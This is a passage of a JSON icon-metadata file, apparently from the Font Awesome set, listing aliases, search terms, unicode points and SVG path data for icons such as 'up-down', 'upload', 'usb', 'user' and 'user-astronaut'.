        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M401.3 49.9c-79.8 160.1-84.6 152.5-87.9 173.2l-5.2 32.8c-1.9 12-6.6 23.5-13.7 33.4L145.6 497.1c-7.6 10.6-20.4 16.2-33.4 14.6-40.3-5-77.8-32.2-95.3-68.5-5.7-11.8-4.5-25.8 3.1-36.4l148.9-207.9c7.1-9.9 16.4-18 27.2-23.7l29.3-15.5c18.5-9.8 9.7-11.9 135.6-138.9 1-4.8 1-7.3 3.6-8 3-.7 6.6-1 6.3-4.6l-.4-4.6c-.2-1.9 1.3-3.6 3.2-3.6 4.5-.1 13.2 1.2 25.6 10 12.3 8.9 16.4 16.8 17.7 21.1.6 1.8-.6 3.7-2.4 4.2l-4.5 1.1c-3.4.9-2.5 4.4-2.3 7.4.1 2.8-2.3 3.6-6.5 6.1zM230.1 36.4c3.4.9 2.5 4.4 2.3 7.4-.2 2.7 2.1 3.5 6.4 6 7.9 15.9 15.3 30.5 22.2 44 .7 1.3 2.3 1.5 3.3.5 11.2-12 24.6-26.2 40.5-42.6 1.3-1.4 1.4-3.5.1-4.9-8-8.2-16.5-16.9-25.6-26.1-1-4.7-1-7.3-3.6-8-3-.8-6.6-1-6.3-4.6.3-3.3 1.4-8.1-2.8-8.2-4.5-.1-13.2 1.1-25.6 10-12.3 8.9-16.4 16.8-17.7 21.1-1.4 4.2 3.6 4.6 6.8 5.4zM620 406.7L471.2 198.8c-13.2-18.5-26.6-23.4-56.4-39.1-11.2-5.9-14.2-10.9-30.5-28.9-1-1.1-2.9-.9-3.6.5-46.3 88.8-47.1 82.8-49 94.8-1.7 10.7-1.3 20 .3 29.8 1.9 12 6.6 23.5 13.7 33.4l148.9 207.9c7.6 10.6 20.2 16.2 33.1 14.7 40.3-4.9 78-32 95.7-68.6 5.4-11.9 4.3-25.9-3.4-36.6z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M401.3 49.9c-79.8 160.1-84.6 152.5-87.9 173.2l-5.2 32.8c-1.9 12-6.6 23.5-13.7 33.4L145.6 497.1c-7.6 10.6-20.4 16.2-33.4 14.6-40.3-5-77.8-32.2-95.3-68.5-5.7-11.8-4.5-25.8 3.1-36.4l148.9-207.9c7.1-9.9 16.4-18 27.2-23.7l29.3-15.5c18.5-9.8 9.7-11.9 135.6-138.9 1-4.8 1-7.3 3.6-8 3-.7 6.6-1 6.3-4.6l-.4-4.6c-.2-1.9 1.3-3.6 3.2-3.6 4.5-.1 13.2 1.2 25.6 10 12.3 8.9 16.4 16.8 17.7 21.1.6 1.8-.6 3.7-2.4 4.2l-4.5 1.1c-3.4.9-2.5 4.4-2.3 7.4.1 2.8-2.3 3.6-6.5 6.1zM230.1 36.4c3.4.9 2.5 4.4 2.3 7.4-.2 2.7 2.1 3.5 6.4 6 7.9 15.9 15.3 30.5 22.2 44 .7 1.3 2.3 1.5 3.3.5 11.2-12 24.6-26.2 40.5-42.6 1.3-1.4 1.4-3.5.1-4.9-8-8.2-16.5-16.9-25.6-26.1-1-4.7-1-7.3-3.6-8-3-.8-6.6-1-6.3-4.6.3-3.3 1.4-8.1-2.8-8.2-4.5-.1-13.2 1.1-25.6 10-12.3 8.9-16.4 16.8-17.7 21.1-1.4 4.2 3.6 4.6 6.8 5.4zM620 406.7L471.2 198.8c-13.2-18.5-26.6-23.4-56.4-39.1-11.2-5.9-14.2-10.9-30.5-28.9-1-1.1-2.9-.9-3.6.5-46.3 88.8-47.1 82.8-49 94.8-1.7 10.7-1.3 20 .3 29.8 1.9 12 6.6 23.5 13.7 33.4l148.9 207.9c7.6 10.6 20.2 16.2 33.1 14.7 40.3-4.9 78-32 95.7-68.6 5.4-11.9 4.3-25.9-3.4-36.6z"
      }
    },
    "free": ["brands"]
  },
  "up-down": {
    "aliases": {
      "names": ["arrows-alt-v"],
      "unicodes": {
        "composite": ["2195", "2b0d"],
        "secondary": ["10f338"]
      }
    },
    "changes": ["5.0.0", "5.11.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "Up Down Black Arrow",
        "arrow",
        "arrows-v",
        "expand",
        "portrait",
        "resize",
        "tall",
        "up-down arrow",
        "vertical"
      ]
    },
    "styles": ["solid"],
    "unicode": "f338",
    "label": "Up Down",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766328,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 256 512\"><path d=\"M145.6 7.7C141 2.8 134.7 0 128 0s-13 2.8-17.6 7.7l-104 112c-6.5 7-8.2 17.2-4.4 25.9S14.5 160 24 160H80V352H24c-9.5 0-18.2 5.7-22 14.4s-2.1 18.9 4.4 25.9l104 112c4.5 4.9 10.9 7.7 17.6 7.7s13-2.8 17.6-7.7l104-112c6.5-7 8.2-17.2 4.4-25.9s-12.5-14.4-22-14.4H176V160h56c9.5 0 18.2-5.7 22-14.4s2.1-18.9-4.4-25.9l-104-112z\"/></svg>",
        "viewBox": [0, 0, 256, 512],
        "width": 256,
        "height": 512,
        "path": "M145.6 7.7C141 2.8 134.7 0 128 0s-13 2.8-17.6 7.7l-104 112c-6.5 7-8.2 17.2-4.4 25.9S14.5 160 24 160H80V352H24c-9.5 0-18.2 5.7-22 14.4s-2.1 18.9 4.4 25.9l104 112c4.5 4.9 10.9 7.7 17.6 7.7s13-2.8 17.6-7.7l104-112c6.5-7 8.2-17.2 4.4-25.9s-12.5-14.4-22-14.4H176V160h56c9.5 0 18.2-5.7 22-14.4s2.1-18.9-4.4-25.9l-104-112z"
      }
    },
    "free": ["solid"]
  },
  "up-down-left-right": {
    "aliases": {
      "names": ["arrows-alt"],
      "unicodes": {
        "secondary": ["10f0b2"]
      }
    },
    "changes": ["2.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "arrow",
        "arrows",
        "bigger",
        "enlarge",
        "expand",
        "fullscreen",
        "move",
        "position",
        "reorder",
        "resize"
      ]
    },
    "styles": ["solid"],
    "unicode": "f0b2",
    "label": "Up Down Left Right",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766330,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M278.6 9.4c-12.5-12.5-32.8-12.5-45.3 0l-64 64c-9.2 9.2-11.9 22.9-6.9 34.9s16.6 19.8 29.6 19.8h32v96H128V192c0-12.9-7.8-24.6-19.8-29.6s-25.7-2.2-34.9 6.9l-64 64c-12.5 12.5-12.5 32.8 0 45.3l64 64c9.2 9.2 22.9 11.9 34.9 6.9s19.8-16.6 19.8-29.6V288h96v96H192c-12.9 0-24.6 7.8-29.6 19.8s-2.2 25.7 6.9 34.9l64 64c12.5 12.5 32.8 12.5 45.3 0l64-64c9.2-9.2 11.9-22.9 6.9-34.9s-16.6-19.8-29.6-19.8H288V288h96v32c0 12.9 7.8 24.6 19.8 29.6s25.7 2.2 34.9-6.9l64-64c12.5-12.5 12.5-32.8 0-45.3l-64-64c-9.2-9.2-22.9-11.9-34.9-6.9s-19.8 16.6-19.8 29.6v32H288V128h32c12.9 0 24.6-7.8 29.6-19.8s2.2-25.7-6.9-34.9l-64-64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M278.6 9.4c-12.5-12.5-32.8-12.5-45.3 0l-64 64c-9.2 9.2-11.9 22.9-6.9 34.9s16.6 19.8 29.6 19.8h32v96H128V192c0-12.9-7.8-24.6-19.8-29.6s-25.7-2.2-34.9 6.9l-64 64c-12.5 12.5-12.5 32.8 0 45.3l64 64c9.2 9.2 22.9 11.9 34.9 6.9s19.8-16.6 19.8-29.6V288h96v96H192c-12.9 0-24.6 7.8-29.6 19.8s-2.2 25.7 6.9 34.9l64 64c12.5 12.5 32.8 12.5 45.3 0l64-64c9.2-9.2 11.9-22.9 6.9-34.9s-16.6-19.8-29.6-19.8H288V288h96v32c0 12.9 7.8 24.6 19.8 29.6s25.7 2.2 34.9-6.9l64-64c12.5-12.5 12.5-32.8 0-45.3l-64-64c-9.2-9.2-22.9-11.9-34.9-6.9s-19.8 16.6-19.8 29.6v32H288V128h32c12.9 0 24.6-7.8 29.6-19.8s2.2-25.7-6.9-34.9l-64-64z"
      }
    },
    "free": ["solid"]
  },
  "up-long": {
    "aliases": {
      "names": ["long-arrow-alt-up"],
      "unicodes": {
        "secondary": ["10f30c"]
      }
    },
    "changes": ["5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["long-arrow-up", "upload"]
    },
    "styles": ["solid"],
    "unicode": "f30c",
    "label": "Up Long",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766329,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M318 177.5c3.8-8.8 2-19-4.6-26l-136-144C172.9 2.7 166.6 0 160 0s-12.9 2.7-17.4 7.5l-136 144c-6.6 7-8.4 17.2-4.6 26S14.4 192 24 192H96l0 288c0 17.7 14.3 32 32 32h64c17.7 0 32-14.3 32-32l0-288h72c9.6 0 18.2-5.7 22-14.5z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M318 177.5c3.8-8.8 2-19-4.6-26l-136-144C172.9 2.7 166.6 0 160 0s-12.9 2.7-17.4 7.5l-136 144c-6.6 7-8.4 17.2-4.6 26S14.4 192 24 192H96l0 288c0 17.7 14.3 32 32 32h64c17.7 0 32-14.3 32-32l0-288h72c9.6 0 18.2-5.7 22-14.5z"
      }
    },
    "free": ["solid"]
  },
  "up-right-and-down-left-from-center": {
    "aliases": {
      "names": ["expand-alt"],
      "unicodes": {
        "secondary": ["10f424"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.12.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["arrows", "bigger", "enlarge", "fullscreen", "resize"]
    },
    "styles": ["solid"],
    "unicode": "f424",
    "label": "Up Right And Down Left From Center",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766328,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M344 0H488c13.3 0 24 10.7 24 24V168c0 9.7-5.8 18.5-14.8 22.2s-19.3 1.7-26.2-5.2l-39-39-87 87c-9.4 9.4-24.6 9.4-33.9 0l-32-32c-9.4-9.4-9.4-24.6 0-33.9l87-87L327 41c-6.9-6.9-8.9-17.2-5.2-26.2S334.3 0 344 0zM168 512H24c-13.3 0-24-10.7-24-24V344c0-9.7 5.8-18.5 14.8-22.2s19.3-1.7 26.2 5.2l39 39 87-87c9.4-9.4 24.6-9.4 33.9 0l32 32c9.4 9.4 9.4 24.6 0 33.9l-87 87 39 39c6.9 6.9 8.9 17.2 5.2 26.2s-12.5 14.8-22.2 14.8z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M344 0H488c13.3 0 24 10.7 24 24V168c0 9.7-5.8 18.5-14.8 22.2s-19.3 1.7-26.2-5.2l-39-39-87 87c-9.4 9.4-24.6 9.4-33.9 0l-32-32c-9.4-9.4-9.4-24.6 0-33.9l87-87L327 41c-6.9-6.9-8.9-17.2-5.2-26.2S334.3 0 344 0zM168 512H24c-13.3 0-24-10.7-24-24V344c0-9.7 5.8-18.5 14.8-22.2s19.3-1.7 26.2 5.2l39 39 87-87c9.4-9.4 24.6-9.4 33.9 0l32 32c9.4 9.4 9.4 24.6 0 33.9l-87 87 39 39c6.9 6.9 8.9 17.2 5.2 26.2s-12.5 14.8-22.2 14.8z"
      }
    },
    "free": ["solid"]
  },
  "up-right-from-square": {
    "aliases": {
      "names": ["external-link-alt"],
      "unicodes": {
        "secondary": ["10f35d"]
      }
    },
    "changes": [
      "5.0.0",
      "5.11.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.2.1",
      "6.3.0",
      "6.4.0",
      "6.4.1"
    ],
    "ligatures": [],
    "search": {
      "terms": ["external-link", "new", "open", "share"]
    },
    "styles": ["solid"],
    "unicode": "f35d",
    "label": "Up Right From Square",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766330,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M352 0c-12.9 0-24.6 7.8-29.6 19.8s-2.2 25.7 6.9 34.9L370.7 96 201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L416 141.3l41.4 41.4c9.2 9.2 22.9 11.9 34.9 6.9s19.8-16.6 19.8-29.6V32c0-17.7-14.3-32-32-32H352zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M352 0c-12.9 0-24.6 7.8-29.6 19.8s-2.2 25.7 6.9 34.9L370.7 96 201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L416 141.3l41.4 41.4c9.2 9.2 22.9 11.9 34.9 6.9s19.8-16.6 19.8-29.6V32c0-17.7-14.3-32-32-32H352zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z"
      }
    },
    "free": ["solid"]
  },
  "upload": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f093"]
      }
    },
    "changes": ["1.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["hard drive", "import", "publish"]
    },
    "styles": ["solid"],
    "unicode": "f093",
    "label": "Upload",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767342,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M288 109.3V352c0 17.7-14.3 32-32 32s-32-14.3-32-32V109.3l-73.4 73.4c-12.5 12.5-32.8 12.5-45.3 0s-12.5-32.8 0-45.3l128-128c12.5-12.5 32.8-12.5 45.3 0l128 128c12.5 12.5 12.5 32.8 0 45.3s-32.8 12.5-45.3 0L288 109.3zM64 352H192c0 35.3 28.7 64 64 64s64-28.7 64-64H448c35.3 0 64 28.7 64 64v32c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V416c0-35.3 28.7-64 64-64zM432 456a24 24 0 1 0 0-48 24 24 0 1 0 0 48z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M288 109.3V352c0 17.7-14.3 32-32 32s-32-14.3-32-32V109.3l-73.4 73.4c-12.5 12.5-32.8 12.5-45.3 0s-12.5-32.8 0-45.3l128-128c12.5-12.5 32.8-12.5 45.3 0l128 128c12.5 12.5 12.5 32.8 0 45.3s-32.8 12.5-45.3 0L288 109.3zM64 352H192c0 35.3 28.7 64 64 64s64-28.7 64-64H448c35.3 0 64 28.7 64 64v32c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V416c0-35.3 28.7-64 64-64zM432 456a24 24 0 1 0 0-48 24 24 0 1 0 0 48z"
      }
    },
    "free": ["solid"]
  },
  "ups": {
    "changes": ["5.6.0", "5.8.0"],
    "ligatures": [],
    "search": {
      "terms": ["United Parcel Service", "package", "shipping"]
    },
    "styles": ["brands"],
    "unicode": "f7e0",
    "label": "UPS",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014482,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M103.2 303c-5.2 3.6-32.6 13.1-32.6-19V180H37.9v102.6c0 74.9 80.2 51.1 97.9 39V180h-32.6zM4 74.82v220.9c0 103.7 74.9 135.2 187.7 184.1 112.4-48.9 187.7-80.2 187.7-184.1V74.82c-116.3-61.6-281.8-49.6-375.4 0zm358.1 220.9c0 86.6-53.2 113.6-170.4 165.3-117.5-51.8-170.5-78.7-170.5-165.3v-126.4c102.3-93.8 231.6-100 340.9-89.8zm-209.6-107.4v212.8h32.7v-68.7c24.4 7.3 71.7-2.6 71.7-78.5 0-97.4-80.7-80.92-104.4-65.6zm32.7 117.3v-100.3c8.4-4.2 38.4-12.7 38.4 49.3 0 67.9-36.4 51.8-38.4 51zm79.1-86.4c.1 47.3 51.6 42.5 52.2 70.4.6 23.5-30.4 23-50.8 4.9v30.1c36.2 21.5 81.9 8.1 83.2-33.5 1.7-51.5-54.1-46.6-53.4-73.2.6-20.3 30.6-20.5 48.5-2.2v-28.4c-28.5-22-79.9-9.2-79.7 31.9z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M103.2 303c-5.2 3.6-32.6 13.1-32.6-19V180H37.9v102.6c0 74.9 80.2 51.1 97.9 39V180h-32.6zM4 74.82v220.9c0 103.7 74.9 135.2 187.7 184.1 112.4-48.9 187.7-80.2 187.7-184.1V74.82c-116.3-61.6-281.8-49.6-375.4 0zm358.1 220.9c0 86.6-53.2 113.6-170.4 165.3-117.5-51.8-170.5-78.7-170.5-165.3v-126.4c102.3-93.8 231.6-100 340.9-89.8zm-209.6-107.4v212.8h32.7v-68.7c24.4 7.3 71.7-2.6 71.7-78.5 0-97.4-80.7-80.92-104.4-65.6zm32.7 117.3v-100.3c8.4-4.2 38.4-12.7 38.4 49.3 0 67.9-36.4 51.8-38.4 51zm79.1-86.4c.1 47.3 51.6 42.5 52.2 70.4.6 23.5-30.4 23-50.8 4.9v30.1c36.2 21.5 81.9 8.1 83.2-33.5 1.7-51.5-54.1-46.6-53.4-73.2.6-20.3 30.6-20.5 48.5-2.2v-28.4c-28.5-22-79.9-9.2-79.7 31.9z"
      }
    },
    "free": ["brands"]
  },
  "usb": {
    "changes": ["4.5.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f287",
    "label": "USB",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014460,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M641.5 256c0 3.1-1.7 6.1-4.5 7.5L547.9 317c-1.4.8-2.8 1.4-4.5 1.4-1.4 0-3.1-.3-4.5-1.1-2.8-1.7-4.5-4.5-4.5-7.8v-35.6H295.7c25.3 39.6 40.5 106.9 69.6 106.9H392V354c0-5 3.9-8.9 8.9-8.9H490c5 0 8.9 3.9 8.9 8.9v89.1c0 5-3.9 8.9-8.9 8.9h-89.1c-5 0-8.9-3.9-8.9-8.9v-26.7h-26.7c-75.4 0-81.1-142.5-124.7-142.5H140.3c-8.1 30.6-35.9 53.5-69 53.5C32 327.3 0 295.3 0 256s32-71.3 71.3-71.3c33.1 0 61 22.8 69 53.5 39.1 0 43.9 9.5 74.6-60.4C255 88.7 273 95.7 323.8 95.7c7.5-20.9 27-35.6 50.4-35.6 29.5 0 53.5 23.9 53.5 53.5s-23.9 53.5-53.5 53.5c-23.4 0-42.9-14.8-50.4-35.6H294c-29.1 0-44.3 67.4-69.6 106.9h310.1v-35.6c0-3.3 1.7-6.1 4.5-7.8 2.8-1.7 6.4-1.4 8.9.3l89.1 53.5c2.8 1.1 4.5 4.1 4.5 7.2z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M641.5 256c0 3.1-1.7 6.1-4.5 7.5L547.9 317c-1.4.8-2.8 1.4-4.5 1.4-1.4 0-3.1-.3-4.5-1.1-2.8-1.7-4.5-4.5-4.5-7.8v-35.6H295.7c25.3 39.6 40.5 106.9 69.6 106.9H392V354c0-5 3.9-8.9 8.9-8.9H490c5 0 8.9 3.9 8.9 8.9v89.1c0 5-3.9 8.9-8.9 8.9h-89.1c-5 0-8.9-3.9-8.9-8.9v-26.7h-26.7c-75.4 0-81.1-142.5-124.7-142.5H140.3c-8.1 30.6-35.9 53.5-69 53.5C32 327.3 0 295.3 0 256s32-71.3 71.3-71.3c33.1 0 61 22.8 69 53.5 39.1 0 43.9 9.5 74.6-60.4C255 88.7 273 95.7 323.8 95.7c7.5-20.9 27-35.6 50.4-35.6 29.5 0 53.5 23.9 53.5 53.5s-23.9 53.5-53.5 53.5c-23.4 0-42.9-14.8-50.4-35.6H294c-29.1 0-44.3 67.4-69.6 106.9h310.1v-35.6c0-3.3 1.7-6.1 4.5-7.8 2.8-1.7 6.4-1.4 8.9.3l89.1 53.5c2.8 1.1 4.5 4.1 4.5 7.2z"
      }
    },
    "free": ["brands"]
  },
  "user": {
    "aliases": {
      "unicodes": {
        "composite": ["1f464", "f2c0"],
        "secondary": ["10f007"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.0.3",
      "5.0.11",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "adult",
        "bust",
        "bust in silhouette",
        "gender-neutral",
        "person",
        "profile",
        "silhouette",
        "unspecified gender",
        "users-people"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f007",
    "label": "User",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767621,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M224 256A128 128 0 1 0 224 0a128 128 0 1 0 0 256zm-45.7 48C79.8 304 0 383.8 0 482.3C0 498.7 13.3 512 29.7 512H418.3c16.4 0 29.7-13.3 29.7-29.7C448 383.8 368.2 304 269.7 304H178.3z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M224 256A128 128 0 1 0 224 0a128 128 0 1 0 0 256zm-45.7 48C79.8 304 0 383.8 0 482.3C0 498.7 13.3 512 29.7 512H418.3c16.4 0 29.7-13.3 29.7-29.7C448 383.8 368.2 304 269.7 304H178.3z"
      },
      "regular": {
        "last_modified": 1684767621,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M304 128a80 80 0 1 0 -160 0 80 80 0 1 0 160 0zM96 128a128 128 0 1 1 256 0A128 128 0 1 1 96 128zM49.3 464H398.7c-8.9-63.3-63.3-112-129-112H178.3c-65.7 0-120.1 48.7-129 112zM0 482.3C0 383.8 79.8 304 178.3 304h91.4C368.2 304 448 383.8 448 482.3c0 16.4-13.3 29.7-29.7 29.7H29.7C13.3 512 0 498.7 0 482.3z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M304 128a80 80 0 1 0 -160 0 80 80 0 1 0 160 0zM96 128a128 128 0 1 1 256 0A128 128 0 1 1 96 128zM49.3 464H398.7c-8.9-63.3-63.3-112-129-112H178.3c-65.7 0-120.1 48.7-129 112zM0 482.3C0 383.8 79.8 304 178.3 304h91.4C368.2 304 448 383.8 448 482.3c0 16.4-13.3 29.7-29.7 29.7H29.7C13.3 512 0 498.7 0 482.3z"
      }
    },
    "free": ["regular", "solid"]
  },
  "user-astronaut": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f4fb"]
      }
    },
    "changes": ["5.0.11", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["avatar", "clothing", "cosmonaut", "nasa", "space", "suit"]
    },
    "styles": ["solid"],
    "unicode": "f4fb",
    "label": "User Astronaut",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767620,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M370.7 96.1C346.1 39.5 289.7 0 224 0S101.9 39.5 77.3 96.1C60.9 97.5 48 111.2 48 128v64c0 16.8 12.9 30.5 29.3 31.9C101.9 280.5 158.3 320 224 320s122.1-39.5 146.7-96.1c16.4-1.4 29.3-15.1 29.3-31.9V128c0-16.8-12.9-30.5-29.3-31.9zM336 144v16c0 53-43 96-96 96H208c-53 0-96-43-96-96V144c0-26.5 21.5-48 48-48H288c26.5 0 48 21.5 48 48zM189.3 162.7l-6-21.2c-.9-3.3-3.9-5.5-7.3-5.5s-6.4 2.2-7.3 5.5l-6 21.2-21.2 6c-3.3 .9-5.5 3.9-5.5 7.3s2.2 6.4 5.5 7.3l21.2 6 6 21.2c.9 3.3 3.9 5.5 7.3 5.5s6.4-2.2 7.3-5.5l6-21.2 21.2-6c3.3-.9 5.5-3.9 5.5-7.3s-2.2-6.4-5.5-7.3l-21.2-6zM112.7 316.5C46.7 342.6 0 407 0 482.3C0 498.7 13.3 512 29.7 512H128V448c0-17.7 14.3-32 32-32H288c17.7 0 32 14.3 32 32v64l98.3 0c16.4 0 29.7-13.3 29.7-29.7c0-75.3-46.7-139.7-112.7-165.8C303.9 338.8 265.5 352 224 352s-79.9-13.2-111.3-35.5zM176 448c-8.8 0-16 7.2-16 16v48h32V464c0-8.8-7.2-16-16-16zm96 32a16 16 0 1 0 0-32 16 16 0 1 0 0 32z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M370.7 96.1C346.1 39.5 289.7 0 224 0S101.9 39.5 77.3 96.1C60.9 97.5 48 111.2 48 128v64c0 16.8 12.9 30.5 29.3 31.9C101.9 280.5 158.3 320 224 320s122.1-39.5 146.7-96.1c16.4-1.4 29.3-15.1 29.3-31.9V128c0-16.8-12.9-30.5-29.3-31.9zM336 144v16c0 53-43 96-96 96H208c-53 0-96-43-96-96V144c0-26.5 21.5-48 48-48H288c26.5 0 48 21.5 48 48zM189.3 162.7l-6-21.2c-.9-3.3-3.9-5.5-7.3-5.5s-6.4 2.2-7.3 5.5l-6 21.2-21.2 6c-3.3 .9-5.5 3.9-5.5 7.3s2.2 6.4 5.5 7.3l21.2 6 6 21.2c.9 3.3 3.9 5.5 7.3 5.5s6.4-2.2 7.3-5.5l6-21.2 21.2-6c3.3-.9 5.5-3.9 5.5-7.3s-2.2-6.4-5.5-7.3l-21.2-6zM112.7 316.5C46.7 342.6 0 407 0 482.3C0 498.7 13.3 512 29.7 512H128V448c0-17.7 14.3-32 32-32H288c17.7 0 32 14.3 32 32v64l98.3 0c16.4 0 29.7-13.3 29.7-29.7c0-75.3-46.7-139.7-112.7-165.8C303.9 338.8 265.5 352 224 352s-79.9-13.2-111.3-35.5zM176 448c-8.8 0-16 7.2-16 16v48h32V464c0-8.8-7.2-16-16-16zm96 32a16 16 0 1 0 0-32 16 16 0 1 0 0 32z"
      }
    },
    "free": ["solid"]
  },
  "user-check": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f4fc"]
      }
    },
    "changes": ["5.0.11", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["users-people"]
    },
    "styles": ["solid"],
    "unicode": "f4fc",
    "label": "User Check",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767621,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M96 128a128 128 0 1 1 256 0A128 128 0 1 1 96 128zM0 482.3C0 383.8 79.8 304 178.3 304h91.4C368.2 304 448 383.8 448 482.3c0 16.4-13.3 29.7-29.7 29.7H29.7C13.3 512 0 498.7 0 482.3zM625 177L497 305c-9.4 9.4-24.6 9.4-33.9 0l-64-64c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l47 47L591 143c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M96 128a128 128 0 1 1 256 0A128 128 0 1 1 96 128zM0 482.3C0 383.8 79.8 304 178.3 304h91.4C368.2 304 448 383.8 448 482.3c0 16.4-13.3 29.7-29.7 29.7H29.7C13.3 512 0 498.7 0 482.3zM625 177L497 305c-9.4 9.4-24.6 9.4-33.9 0l-64-64c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l47 47L591 143c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9z"
      }
    },
    "free": ["solid"]
  },
  "user-clock": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f4fd"]
      }
    },
    "changes": ["5.0.11", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["users-people"]
    },
    "styles": ["solid"],
    "unicode": "f4fd",
    "label": "User Clock",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767619,
